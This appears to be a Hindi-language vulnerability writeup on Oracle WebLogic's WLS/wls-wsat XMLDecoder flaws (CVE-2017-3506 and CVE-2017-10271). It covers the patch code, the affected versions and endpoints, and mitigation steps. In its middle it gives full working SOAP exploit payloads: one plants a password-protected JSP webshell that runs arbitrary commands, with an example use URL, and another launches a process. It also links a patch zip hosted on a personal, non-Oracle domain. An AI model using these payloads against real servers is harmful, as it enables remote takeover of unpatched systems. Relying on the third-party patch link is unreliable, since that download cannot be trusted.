
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
प्रारंभ में, हैकर्स ने WebLogic WLS घटक भेद्यता का उपयोग करके उद्यम सर्वरों पर बड़े पैमाने पर दूरस्थ हमले किए, कई उद्यमों के सर्वर से छेड़छाड़ की गई, और हमले की चपेट में आने वाले उद्यमों की संख्या में स्पष्ट वृद्धि की प्रवृत्ति देखी गई, जिस पर गंभीरता से ध्यान देने की आवश्यकता है। इनमें से, CVE-2017-3506 Oracle WebLogic में WLS घटक का उपयोग करने वाला एक दूरस्थ कोड निष्पादन भेद्यता है, जो बिना सार्वजनिक विवरण के एक जंगली-शोषित भेद्यता है, और कई उद्यमों ने समय पर पैच स्थापित नहीं किया है। आधिकारिक तौर पर अप्रैल 2017 में इस भेद्यता का पैच जारी किया गया था।
CVE-2017-3506 पैच स्पष्टीकरण:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
यह केवल डिसेरिएलाइज़ेशन से पहले एक validate फ़ंक्शन जोड़ता है, यदि qName object के बराबर है, तो अपवाद फेंक कर प्रक्रिया समाप्त कर देता है। यह सरल और कठोर कहा जा सकता है, हालांकि, इस प्रकार की ब्लैकलिस्ट मरम्मत को पूरी तरह से ठीक करना कठिन है। यह विचारणीय है...
इस भेद्यता का उपयोग करना अपेक्षाकृत सरल है, हमलावर को केवल सावधानीपूर्वक निर्मित HTTP अनुरोध भेजने की आवश्यकता होती है, और वह लक्ष्य सर्वर का अधिकार प्राप्त कर सकता है, जिससे भारी क्षति होती है। चूंकि यह भेद्यता काफी नई है, फिर भी कई होस्ट हैं जिन्होंने संबंधित पैच अपडेट नहीं किया है। उम्मीद है कि इस अचानक घटना के बाद, हमले की घटनाओं की संख्या में तेजी से वृद्धि होने और बड़ी संख्या में नए होस्ट के साथ छेड़छाड़ होने की संभावना है।
Oracle के आधिकारिक अप्रैल पैच ने CVE-2017-3506 भेद्यता को पूरी तरह से ठीक नहीं किया, पैच को बायपास किया जा सकता है और दूरस्थ कमांड अभी भी निष्पादित किए जा सकते हैं। CVE-2017-10271 वर्तमान बायपास भेद्यता अब आधिकारिक अक्टूबर पैच में ठीक कर दी गई है।
CVE-2017-10271 (wls-wsat दूरस्थ कमांड निष्पादन बायपास भेद्यता)
Oracle WebLogic Server10.3.6.0.0 संस्करण
Oracle WebLogic Server12.1.3.0.0 संस्करण
Oracle WebLogic Server12.2.1.1.0 संस्करण
Oracle WebLogic Server12.2.1.2.0 संस्करण
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
exploit
CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami
exploit
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
exploit
exploit
exploit

1.Oracle अक्टूबर पैच अपग्रेड करें।
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
2.wls-wsat संसाधनों तक पहुंच के लिए अभिगम नियंत्रण लागू करें।
3.अस्थायी समाधान
व्यवसाय को प्रभावित किए बिना, वास्तविक पर्यावरण पथ के अनुसार, WebLogic प्रोग्राम में निम्नलिखित war पैकेज और निर्देशिकाएं हटाएं।
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
WebLogic सेवा या सिस्टम को पुनरारंभ करने के बाद, पुष्टि करें कि निम्न लिंक 404 लौटाता है या नहीं:
http://ip:port/wls-wsat/CoordinatorPortType11